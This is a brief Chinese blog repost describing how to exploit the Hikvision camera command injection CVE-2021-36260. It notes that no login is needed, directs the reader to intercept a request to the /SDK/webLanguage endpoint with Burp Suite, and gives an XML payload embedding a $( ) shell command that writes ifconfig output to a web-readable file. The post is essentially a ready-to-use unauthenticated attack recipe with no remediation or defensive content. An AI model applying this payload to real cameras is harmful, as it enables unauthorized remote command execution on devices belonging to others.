这个屌丝很懒，什么也没留下！

海康威视摄像头命令注入 CVE-2021-36260_cve-2021-36260.py

作者：菜鸟追梦旅行 | 2024-05-08 00:30:48

cve-2021-36260.py

此漏洞无需账号密码就可以利用

先访问ip:port//SDK/webLanguage ，用burpsuite抓包


#payload：
<?xml version='1.0'encoding='UTF-8'?>
  <language>
     $(ifconfig -a > webLib/x.asp)
  </language>

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/551964